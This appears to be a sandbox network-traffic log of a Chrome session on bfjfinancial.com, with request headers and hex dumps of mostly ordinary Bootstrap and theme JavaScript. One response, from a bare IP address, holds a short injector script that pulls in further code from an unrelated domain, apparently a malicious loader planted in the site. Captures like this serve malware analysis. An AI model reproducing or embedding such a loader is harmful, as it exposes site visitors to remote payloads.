2024-04-11 20:34:56 UTC	1378	IN	Data Raw: 64 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 44 55 52 41 54 49 4f 4e 29 5b 67 5d 28 74 68 69 73 2e 24 65 6c 65 6d 65 6e 74 5b 30 5d 5b 69 5d 29 7d 7d 7d 7d 2c 64 2e 70 72 6f 74 6f 74 79 70 65 2e 68 69 64 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 21 74 68 69 73 2e 74 72 61 6e 73 69 74 69 6f 6e 69 6e 67 26 26 74 68 69 73 2e 24 65 6c 65 6d 65 6e 74 2e 68 61 73 43 6c 61 73 73 28 22 69 6e 22 29 29 7b 76 61 72 20 62 3d 61 2e 45 76 65 6e 74 28 22 68 69 64 65 2e 62 73 2e 63 6f 6c 6c 61 70 73 65 22 29 3b 69 66 28 74 68 69 73 2e 24 65 6c 65 6d 65 6e 74 2e 74 72 69 67 67 65 72 28 62 29 2c 21 62 2e 69 73 44 65 66 61 75 6c 74 50 72 65 76 65 6e 74 65 64 28 29 29 7b 76 61 72 20 63 3d 74 68 69 73 2e 64 69 6d 65 6e 73 69 6f 6e 28 29 3b 74 68 69 73 2e 24 65 6c 65 6d 65 6e Data Ascii: d.TRANSITION_DURATION)[g](this.$element[0][i])}}}},d.prototype.hide=function(){if(!this.transitioning&&this.$element.hasClass("in")){var b=a.Event("hide.bs.collapse");if(this.$element.trigger(b),!b.isDefaultPrevented()){var c=this.dimension();this.$elemen
2024-04-11 20:34:56 UTC	1378	IN	Data Raw: 61 2d 61 70 69 22 2c 27 5b 64 61 74 61 2d 74 6f 67 67 6c 65 3d 22 63 6f 6c 6c 61 70 73 65 22 5d 27 2c 66 75 6e 63 74 69 6f 6e 28 64 29 7b 76 61 72 20 65 3d 61 28 74 68 69 73 29 3b 65 2e 61 74 74 72 28 22 64 61 74 61 2d 74 61 72 67 65 74 22 29 7c 7c 64 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3b 76 61 72 20 66 3d 62 28 65 29 2c 67 3d 66 2e 64 61 74 61 28 22 62 73 2e 63 6f 6c 6c 61 70 73 65 22 29 2c 68 3d 67 3f 22 74 6f 67 67 6c 65 22 3a 61 2e 65 78 74 65 6e 64 28 7b 7d 2c 65 2e 64 61 74 61 28 29 2c 7b 74 72 69 67 67 65 72 3a 74 68 69 73 7d 29 3b 63 2e 63 61 6c 6c 28 66 2c 68 29 7d 29 7d 28 6a 51 75 65 72 79 29 2c 2b 66 75 6e 63 74 69 6f 6e 28 61 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 62 28 62 29 7b 62 26 26 33 3d Data Ascii: a-api",'[data-toggle="collapse"]',function(d){var e=a(this);e.attr("data-target")\|\|d.preventDefault();var f=b(e),g=f.data("bs.collapse"),h=g?"toggle":a.extend({},e.data(),{trigger:this});c.call(f,h)})}(jQuery),+function(a){"use strict";function b(b){b&&3=
2024-04-11 20:34:56 UTC	1378	IN	Data Raw: 72 69 61 2d 65 78 70 61 6e 64 65 64 22 2c 22 74 72 75 65 22 29 2c 66 2e 74 6f 67 67 6c 65 43 6c 61 73 73 28 22 6f 70 65 6e 22 29 2e 74 72 69 67 67 65 72 28 22 73 68 6f 77 6e 2e 62 73 2e 64 72 6f 70 64 6f 77 6e 22 2c 68 29 7d 72 65 74 75 72 6e 21 31 7d 7d 2c 67 2e 70 72 6f 74 6f 74 79 70 65 2e 6b 65 79 64 6f 77 6e 3d 66 75 6e 63 74 69 6f 6e 28 62 29 7b 69 66 28 2f 28 33 38 7c 34 30 7c 32 37 7c 33 32 29 2f 2e 74 65 73 74 28 62 2e 77 68 69 63 68 29 26 26 21 2f 69 6e 70 75 74 7c 74 65 78 74 61 72 65 61 2f 69 2e 74 65 73 74 28 62 2e 74 61 72 67 65 74 2e 74 61 67 4e 61 6d 65 29 29 7b 76 61 72 20 64 3d 61 28 74 68 69 73 29 3b 69 66 28 62 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 62 2e 73 74 6f 70 50 72 6f 70 61 67 61 74 69 6f 6e 28 29 2c 21 64 2e 69 Data Ascii: ria-expanded","true"),f.toggleClass("open").trigger("shown.bs.dropdown",h)}return!1}},g.prototype.keydown=function(b){if(/(38\|40\|27\|32)/.test(b.which)&&!/input\|textarea/i.test(b.target.tagName)){var d=a(this);if(b.preventDefault(),b.stopPropagation(),!d.i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49758	147.45.47.87	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:34:56 UTC	532	OUT	GET /scripts/theme.js HTTP/1.1 Host: 147.45.47.87 Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.bfjfinancial.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:34:56 UTC	276	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 20:34:56 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Tue, 26 Mar 2024 16:06:17 GMT ETag: "f4-61492785f58ce" Accept-Ranges: bytes Content-Length: 244 Vary: Accept-Encoding Connection: close Content-Type: text/javascript
2024-04-11 20:34:56 UTC	244	IN	Data Raw: 3b 28 66 75 6e 63 74 69 6f 6e 28 7a 2c 62 2c 6f 2c 65 2c 67 2c 70 29 7b 67 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 6f 29 3b 70 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 6f 29 5b 30 5d 3b 67 2e 61 73 79 6e 63 3d 31 3b 67 2e 73 72 63 3d 65 3b 70 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 67 2c 70 29 3b 7d 29 28 77 69 6e 64 6f 77 2c 64 6f 63 75 6d 65 6e 74 2c 27 73 63 72 69 70 74 27 2c 27 68 74 74 70 73 3a 2f 2f 77 65 6c 63 6f 6d 65 2e 76 69 73 69 6f 6e 61 72 79 79 6f 75 74 68 2e 6f 72 67 2f 4c 44 33 70 57 46 63 66 69 6a 46 49 48 39 4e 71 47 77 54 46 65 6c 34 66 30 33 70 46 56 5a 30 68 53 6c 65 64 49 45 42 65 6a 6a 4a 62 55 49 64 36 55 51 3d 3d 27 29 3b Data Ascii: ;(function(z,b,o,e,g,p){g=b.createElement(o);p=b.getElementsByTagName(o)[0];g.async=1;g.src=e;p.parentNode.insertBefore(g,p);})(window,document,'script','https://welcome.visionaryyouth.org/LD3pWFcfijFIH9NqGwTFel4f03pFVZ0hSledIEBejjJbUId6UQ==');

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49772	151.101.2.159	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:34:56 UTC	602	OUT	GET /wp-content/plugins/cornerstone/assets/js/site/cs-classic.7.4.16.js?ver=7.4.16 HTTP/1.1 Host: www.bfjfinancial.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.bfjfinancial.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:34:56 UTC	728	IN	HTTP/1.1 200 OK Connection: close Content-Length: 107603 referrer-policy: no-referrer-when-downgrade x-fw-server: Flywheel/5.1.0 content-type: application/javascript x-fw-hash: thumialfjs x-fw-version: 5.0.0 x-content-type-options: nosniff etag: "66169a46-1a453" last-modified: Wed, 10 Apr 2024 13:55:18 GMT cache-control: public, max-age=31536000 x-xss-protection: 1 Server: Flywheel/5.1.0 X-Cacheable: YES Fastly-Restarts: 1 Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:34:56 GMT X-Served-By: cache-lga21952-LGA, cache-lga21943-LGA X-Cache: MISS, MISS X-Cache-Hits: 0, 0 X-Timer: S1712867697.676541,VS0,VE84 Vary: Accept-Encoding, Authorization X-FW-Serve: TRUE X-FW-Static: YES X-FW-Type: VISIT
2024-04-11 20:34:56 UTC	1378	IN	Data Raw: 28 28 29 3d 3e 7b 76 61 72 20 49 69 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 3b 76 61 72 20 75 65 3d 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 3b 76 61 72 20 50 69 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 3b 76 61 72 20 4d 69 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 4e 61 6d 65 73 3b 76 61 72 20 48 69 3d 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 2c 7a 69 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 3b 76 61 72 20 24 69 3d 74 3d 3e 75 65 28 74 2c 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 3b 76 61 72 20 52 69 3d 28 74 2c 65 29 3d 3e 28 29 3d 3e 28 65 7c 7c Data Ascii: (()=>{var Ii=Object.create;var ue=Object.defineProperty;var Pi=Object.getOwnPropertyDescriptor;var Mi=Object.getOwnPropertyNames;var Hi=Object.getPrototypeOf,zi=Object.prototype.hasOwnProperty;var $i=t=>ue(t,"__esModule",{value:!0});var Ri=(t,e)=>()=>(e\|\|
2024-04-11 20:34:56 UTC	1378	IN	Data Raw: 72 4d 61 63 72 6f 3a 28 29 3d 3e 43 6e 2c 72 65 67 69 73 74 65 72 4f 62 73 65 72 76 65 72 3a 28 29 3d 3e 65 74 2c 73 74 6f 72 65 3a 28 29 3d 3e 4a 2c 75 74 69 6c 3a 28 29 3d 3e 53 7d 29 3b 76 61 72 20 53 3d 7b 7d 3b 51 65 28 53 2c 7b 4e 4f 4e 5f 50 41 53 53 49 56 45 5f 41 52 47 53 3a 28 29 3d 3e 46 74 2c 50 41 53 53 49 56 45 5f 41 52 47 53 3a 28 29 3d 3e 48 2c 53 43 52 4f 4c 4c 42 41 52 5f 41 43 54 49 56 45 5f 56 41 52 5f 4e 41 4d 45 3a 28 29 3d 3e 59 74 2c 53 43 52 4f 4c 4c 42 41 52 5f 41 43 54 49 56 45 5f 56 41 52 5f 53 54 52 49 4e 47 3a 28 29 3d 3e 67 6e 2c 53 43 52 4f 4c 4c 42 41 52 5f 56 41 52 5f 4e 41 4d 45 3a 28 29 3d 3e 68 6e 2c 53 43 52 4f 4c 4c 42 41 52 5f 56 41 52 5f 53 54 52 49 4e 47 3a 28 29 3d 3e 47 73 2c 61 62 73 56 65 63 74 6f 72 3a 28 29 Data Ascii: rMacro:()=>Cn,registerObserver:()=>et,store:()=>J,util:()=>S});var S={};Qe(S,{NON_PASSIVE_ARGS:()=>Ft,PASSIVE_ARGS:()=>H,SCROLLBAR_ACTIVE_VAR_NAME:()=>Yt,SCROLLBAR_ACTIVE_VAR_STRING:()=>gn,SCROLLBAR_VAR_NAME:()=>hn,SCROLLBAR_VAR_STRING:()=>Gs,absVector:()
2024-04-11 20:34:56 UTC	1378	IN	Data Raw: 6c 65 3a 28 29 3d 3e 50 73 2c 6d 61 6b 65 47 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 73 3a 28 29 3d 3e 75 6e 2c 6d 61 6b 65 4d 6f 74 69 6f 6e 4c 6f 63 6b 65 64 55 70 64 61 74 65 3a 28 29 3d 3e 7a 6f 2c 6d 61 6b 65 52 61 66 4c 6f 6f 70 3a 28 29 3d 3e 79 65 2c 6d 61 6b 65 53 6f 72 74 42 79 4b 65 79 3a 28 29 3d 3e 42 69 2c 6d 61 6b 65 53 74 61 74 65 53 79 6e 63 68 72 6f 6e 69 7a 65 72 3a 28 29 3d 3e 6b 6f 2c 6d 61 6b 65 54 72 65 65 57 61 6c 6b 65 72 3a 28 29 3d 3e 70 65 2c 6d 65 6d 6f 69 7a 65 3a 28 29 3d 3e 58 65 2c 6d 75 6c 74 69 70 6c 79 56 65 63 74 6f 72 73 3a 28 29 3d 3e 4b 69 2c 6e 6f 72 6d 61 6c 69 7a 65 43 6f 6e 64 69 74 69 6f 6e 3a 28 29 3d 3e 77 6e 2c 6e 6f 72 6d 61 6c 69 7a 65 54 65 61 72 64 6f 77 6e 3a 28 29 3d 3e 4e 74 2c 6f 66 66 73 65 74 Data Ascii: le:()=>Ps,makeGetComputedStyles:()=>un,makeMotionLockedUpdate:()=>zo,makeRafLoop:()=>ye,makeSortByKey:()=>Bi,makeStateSynchronizer:()=>ko,makeTreeWalker:()=>pe,memoize:()=>Xe,multiplyVectors:()=>Ki,normalizeCondition:()=>wn,normalizeTeardown:()=>Nt,offset
2024-04-11 20:34:56 UTC	1378	IN	Data Raw: 6e 63 65 6f 66 20 42 6f 6f 6c 65 61 6e 7d 76 61 72 20 42 69 3d 74 3d 3e 28 65 2c 6e 29 3d 3e 65 5b 74 5d 2d 6e 5b 74 5d 3b 76 61 72 20 46 69 3d 28 74 2c 65 3d 31 30 30 29 3d 3e 4d 61 74 68 2e 63 65 69 6c 28 74 2a 65 29 2f 65 2c 57 69 3d 28 74 2c 65 3d 31 30 30 29 3d 3e 4d 61 74 68 2e 66 6c 6f 6f 72 28 74 2a 65 29 2f 65 2c 70 6f 3d 28 74 2c 65 3d 31 30 30 29 3d 3e 4d 61 74 68 2e 72 6f 75 6e 64 28 28 74 2b 4e 75 6d 62 65 72 2e 45 50 53 49 4c 4f 4e 29 2a 65 29 2f 65 2c 4e 69 3d 74 3d 3e 7b 76 61 72 20 65 2c 6e 3b 72 65 74 75 72 6e 28 6e 3d 28 65 3d 74 2e 74 6f 53 74 72 69 6e 67 28 29 2e 73 70 6c 69 74 28 2f 5c 2e 2f 29 5b 31 5d 29 3d 3d 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 65 2e 6c 65 6e 67 74 68 29 21 3d 6e 75 6c 6c 3f 6e 3a 30 7d 2c 56 69 3d 74 3d 3e 7b 76 Data Ascii: nceof Boolean}var Bi=t=>(e,n)=>e[t]-n[t];var Fi=(t,e=100)=>Math.ceil(te)/e,Wi=(t,e=100)=>Math.floor(te)/e,po=(t,e=100)=>Math.round((t+Number.EPSILON)*e)/e,Ni=t=>{var e,n;return(n=(e=t.toString().split(/\./)[1])==null?void 0:e.length)!=null?n:0},Vi=t=>{v
2024-04-11 20:34:56 UTC	1378	IN	Data Raw: 6f 77 2e 44 61 74 65 2e 6e 6f 77 28 29 3b 69 66 28 79 28 78 29 29 72 65 74 75 72 6e 20 76 28 78 29 3b 61 3d 73 65 74 54 69 6d 65 6f 75 74 28 67 2c 68 28 78 29 29 7d 66 75 6e 63 74 69 6f 6e 20 76 28 78 29 7b 72 65 74 75 72 6e 20 61 3d 76 6f 69 64 20 30 2c 64 26 26 6f 3f 6c 28 78 29 3a 28 6f 3d 72 3d 76 6f 69 64 20 30 2c 73 29 7d 66 75 6e 63 74 69 6f 6e 20 77 28 29 7b 61 21 3d 3d 76 6f 69 64 20 30 26 26 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 61 29 2c 75 3d 30 2c 6f 3d 63 3d 72 3d 61 3d 76 6f 69 64 20 30 7d 66 75 6e 63 74 69 6f 6e 20 43 28 29 7b 72 65 74 75 72 6e 20 61 3d 3d 3d 76 6f 69 64 20 30 3f 73 3a 76 28 77 69 6e 64 6f 77 2e 44 61 74 65 2e 6e 6f 77 28 29 29 7d 66 75 6e 63 74 69 6f 6e 20 4c 28 29 7b 76 61 72 20 78 3d 77 69 6e 64 6f 77 2e 44 61 74 65 2e Data Ascii: ow.Date.now();if(y(x))return v(x);a=setTimeout(g,h(x))}function v(x){return a=void 0,d&&o?l(x):(o=r=void 0,s)}function w(){a!==void 0&&clearTimeout(a),u=0,o=c=r=a=void 0}function C(){return a===void 0?s:v(window.Date.now())}function L(){var x=window.Date.
2024-04-11 20:34:56 UTC	1378	IN	Data Raw: 65 28 69 2a 66 65 2c 74 2c 6e 29 3b 66 75 6e 63 74 69 6f 6e 20 73 28 61 29 7b 66 6f 72 28 76 61 72 20 63 3d 30 2c 75 3d 31 2c 70 3d 44 74 2d 31 3b 75 21 3d 3d 70 26 26 72 5b 75 5d 3c 3d 61 3b 2b 2b 75 29 63 2b 3d 66 65 3b 2d 2d 75 3b 76 61 72 20 66 3d 28 61 2d 72 5b 75 5d 29 2f 28 72 5b 75 2b 31 5d 2d 72 5b 75 5d 29 2c 64 3d 63 2b 66 2a 66 65 2c 6c 3d 79 6f 28 64 2c 74 2c 6e 29 3b 72 65 74 75 72 6e 20 6c 3e 3d 72 73 3f 6c 73 28 61 2c 64 2c 74 2c 6e 29 3a 6c 3d 3d 3d 30 3f 64 3a 63 73 28 61 2c 63 2c 63 2b 66 65 2c 74 2c 6e 29 7d 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 63 3d 3d 3d 30 7c 7c 63 3d 3d 3d 31 3f 63 3a 64 65 28 73 28 63 29 2c 65 2c 6f 29 7d 7d 76 61 72 20 66 73 3d 74 3d 3e 7b 73 77 69 74 63 68 28 74 29 7b 63 Data Ascii: e(ife,t,n);function s(a){for(var c=0,u=1,p=Dt-1;u!==p&&r[u]<=a;++u)c+=fe;--u;var f=(a-r[u])/(r[u+1]-r[u]),d=c+ffe,l=yo(d,t,n);return l>=rs?ls(a,d,t,n):l===0?d:cs(a,c,c+fe,t,n)}return function(c){return c===0\|\|c===1?c:de(s(c),e,o)}}var fs=t=>{switch(t){c
2024-04-11 20:34:56 UTC	1378	IN	Data Raw: 75 69 6e 74 3a 4f 28 22 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 32 33 30 2c 20 31 2e 30 30 30 2c 20 30 2e 33 32 30 2c 20 31 2e 30 30 30 29 22 29 2c 65 61 73 65 4f 75 74 53 69 6e 65 3a 4f 28 22 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 33 39 30 2c 20 30 2e 35 37 35 2c 20 30 2e 35 36 35 2c 20 31 2e 30 30 30 29 22 29 2c 65 61 73 65 4f 75 74 45 78 70 6f 3a 4f 28 22 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 31 39 30 2c 20 31 2e 30 30 30 2c 20 30 2e 32 32 30 2c 20 31 2e 30 30 30 29 22 29 2c 65 61 73 65 4f 75 74 43 69 72 63 3a 4f 28 22 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 30 37 35 2c 20 30 2e 38 32 30 2c 20 30 2e 31 36 35 2c 20 31 2e 30 30 30 29 22 29 2c 65 61 73 65 4f 75 74 42 61 63 6b 3a 4f 28 22 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e Data Ascii: uint:O("cubic-bezier(0.230, 1.000, 0.320, 1.000)"),easeOutSine:O("cubic-bezier(0.390, 0.575, 0.565, 1.000)"),easeOutExpo:O("cubic-bezier(0.190, 1.000, 0.220, 1.000)"),easeOutCirc:O("cubic-bezier(0.075, 0.820, 0.165, 1.000)"),easeOutBack:O("cubic-bezier(0.
2024-04-11 20:34:56 UTC	1378	IN	Data Raw: 65 28 65 29 7d 2c 67 73 3d 28 74 2c 65 2c 6e 29 3d 3e 7b 76 61 72 20 6f 3b 72 65 74 75 72 6e 28 6f 3d 74 3d 3d 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 74 2e 63 6c 61 73 73 4c 69 73 74 29 3d 3d 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 6f 2e 74 6f 67 67 6c 65 28 65 2c 6e 29 7d 3b 66 75 6e 63 74 69 6f 6e 20 79 73 28 74 29 7b 69 66 28 21 74 29 72 65 74 75 72 6e 2d 31 3b 66 6f 72 28 76 61 72 20 65 3d 30 3b 74 3d 74 2e 70 72 65 76 69 6f 75 73 45 6c 65 6d 65 6e 74 53 69 62 6c 69 6e 67 3b 29 65 2b 2b 3b 72 65 74 75 72 6e 20 65 7d 66 75 6e 63 74 69 6f 6e 20 65 6e 28 74 2c 65 29 7b 6c 65 74 20 6e 3d 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 65 29 3b 69 66 28 6e 3d 3d 3d 6e 75 6c 6c 29 72 65 74 75 72 6e 7b 7d 3b 69 66 28 74 79 70 65 6f 66 20 6e 3d 3d 22 73 74 72 69 6e 67 Data Ascii: e(e)},gs=(t,e,n)=>{var o;return(o=t==null?void 0:t.classList)==null?void 0:o.toggle(e,n)};function ys(t){if(!t)return-1;for(var e=0;t=t.previousElementSibling;)e++;return e}function en(t,e){let n=t.getAttribute(e);if(n===null)return{};if(typeof n=="string
2024-04-11 20:34:56 UTC	1378	IN	Data Raw: 70 6c 61 79 3d 22 62 6c 6f 63 6b 22 2c 74 2e 73 74 79 6c 65 2e 70 6f 73 69 74 69 6f 6e 3d 22 61 62 73 6f 6c 75 74 65 22 2c 74 2e 73 74 79 6c 65 2e 76 69 73 69 62 69 6c 69 74 79 3d 22 68 69 64 64 65 6e 22 3b 6c 65 74 20 6f 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 65 2c 74 2e 73 63 72 6f 6c 6c 48 65 69 67 68 74 2c 74 2e 6f 66 66 73 65 74 48 65 69 67 68 74 29 3b 72 65 74 75 72 6e 20 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 74 79 6c 65 22 2c 6e 29 2c 6f 7d 2c 6f 6e 3d 74 3d 3e 7b 6c 65 74 20 65 3d 70 65 28 74 2c 21 30 29 2c 6e 3d 72 3d 3e 7b 6c 65 74 20 69 3d 72 3b 66 6f 72 28 3b 69 3b 29 7b 69 66 28 74 28 69 29 29 72 65 74 75 72 6e 20 69 3b 69 3d 69 2e 70 61 72 65 6e 74 45 6c 65 6d 65 6e 74 7d 7d 2c 6f 3d 72 3d 3e 7b 6c 65 74 20 69 3d 72 3b 66 6f 72 28 Data Ascii: play="block",t.style.position="absolute",t.style.visibility="hidden";let o=Math.max(0,e,t.scrollHeight,t.offsetHeight);return t.setAttribute("style",n),o},on=t=>{let e=pe(t,!0),n=r=>{let i=r;for(;i;){if(t(i))return i;i=i.parentElement}},o=r=>{let i=r;for(
2024-04-11 20:34:56 UTC	1378	IN	Data Raw: 70 65 6f 66 20 65 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 2c 51 3d 74 3d 3e 7b 6c 65 74 20 65 3d 4e 74 28 74 29 3b 72 65 74 75 72 6e 28 29 3d 3e 65 2e 66 6f 72 45 61 63 68 28 6e 3d 3e 6e 28 29 29 7d 2c 72 6e 3d 28 74 2c 65 29 3d 3e 28 65 26 26 74 28 64 6f 63 75 6d 65 6e 74 2e 76 69 73 69 62 69 6c 69 74 79 53 74 61 74 65 3d 3d 3d 22 76 69 73 69 62 6c 65 22 29 2c 51 28 5b 74 74 28 77 69 6e 64 6f 77 2c 22 70 61 67 65 68 69 64 65 22 2c 28 29 3d 3e 7b 74 28 21 31 29 7d 29 2c 74 74 28 77 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 2c 22 76 69 73 69 62 69 6c 69 74 79 63 68 61 6e 67 65 22 2c 28 29 3d 3e 7b 74 28 64 6f 63 75 6d 65 6e 74 2e 76 69 73 69 62 69 6c 69 74 79 53 74 61 74 65 3d 3d 3d 22 76 69 73 69 62 6c 65 22 29 7d 29 5d 29 29 3b 66 75 6e 63 74 69 6f 6e 20 Data Ascii: peof e=="function"),Q=t=>{let e=Nt(t);return()=>e.forEach(n=>n())},rn=(t,e)=>(e&&t(document.visibilityState==="visible"),Q([tt(window,"pagehide",()=>{t(!1)}),tt(window.document,"visibilitychange",()=>{t(document.visibilityState==="visible")})]));function

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49774	151.101.2.159	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:34:56 UTC	670	OUT	GET /wp-content/themes/x-child/fonts/glyphicons-halflings-regular.woff HTTP/1.1 Host: www.bfjfinancial.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.bfjfinancial.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://www.bfjfinancial.com/wp-content/themes/x-child/css/bootstrap.min.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:34:57 UTC	809	IN	HTTP/1.1 404 Not Found Connection: close Content-Length: 63843 cache-control: no-cache, must-revalidate, max-age=0 x-fw-server: Flywheel/5.1.0 x-xss-protection: 1 x-fw-hash: thumialfjs x-fw-version: 5.0.0 x-fw-dynamic: TRUE expires: Wed, 11 Jan 1984 05:00:00 GMT referrer-policy: no-referrer-when-downgrade link: <https://www.bfjfinancial.com/wp-json/>; rel="https://api.w.org/" x-content-type-options: nosniff content-type: text/html; charset=UTF-8 Server: Flywheel/5.1.0 X-Cacheable: NO:Not Cacheable Fastly-Restarts: 1 Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:34:57 GMT X-Served-By: cache-lga21924-LGA, cache-lga21978-LGA X-Cache: MISS, MISS X-Cache-Hits: 0, 0 X-Timer: S1712867697.933570,VS0,VE386 Vary: Accept-Encoding X-FW-Serve: TRUE X-FW-Static: NO X-FW-Type: VISIT
2024-04-11 20:34:57 UTC	1378	IN	Data Raw: 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 66 6a 66 69 6e 61 6e 63 69 61 6c 2e 63 6f 6d 2f 78 6d 6c 72 70 63 2e 70 68 70 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e Data Ascii: <!DOCTYPE html><html class="no-js" lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><link rel="pingback" href="https://www.bfjfinancial.com/xmlrpc.php"><meta name='robots' content='noin
2024-04-11 20:34:57 UTC	1378	IN	Data Raw: 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 62 66 6a 64 65 76 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 63 61 72 64 22 20 63 6f 6e 74 65 6e 74 3d 22 73 75 6d 6d 61 72 79 5f 6c 61 72 67 65 5f 69 6d 61 67 65 22 20 2f 3e 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6c 64 2b 6a 73 6f 6e 22 20 63 6c 61 73 73 3d 22 79 6f 61 73 74 2d 73 63 68 65 6d 61 2d 67 72 61 70 68 22 3e 7b 22 40 63 6f 6e 74 65 78 74 22 3a 22 68 74 74 70 73 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 22 2c 22 40 67 72 61 70 68 22 3a 5b 7b 22 40 74 79 70 65 22 3a 22 41 72 74 69 63 6c 65 22 2c 22 40 69 64 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 66 6a 66 69 6e 61 6e 63 69 61 6c 2e 63 6f 6d 2f 77 68 61 74 2d 69 73 2d 74 68 Data Ascii: or" content="bfjdev" /><meta name="twitter:card" content="summary_large_image" /><script type="application/ld+json" class="yoast-schema-graph">{"@context":"https://schema.org","@graph":[{"@type":"Article","@id":"https://www.bfjfinancial.com/what-is-th
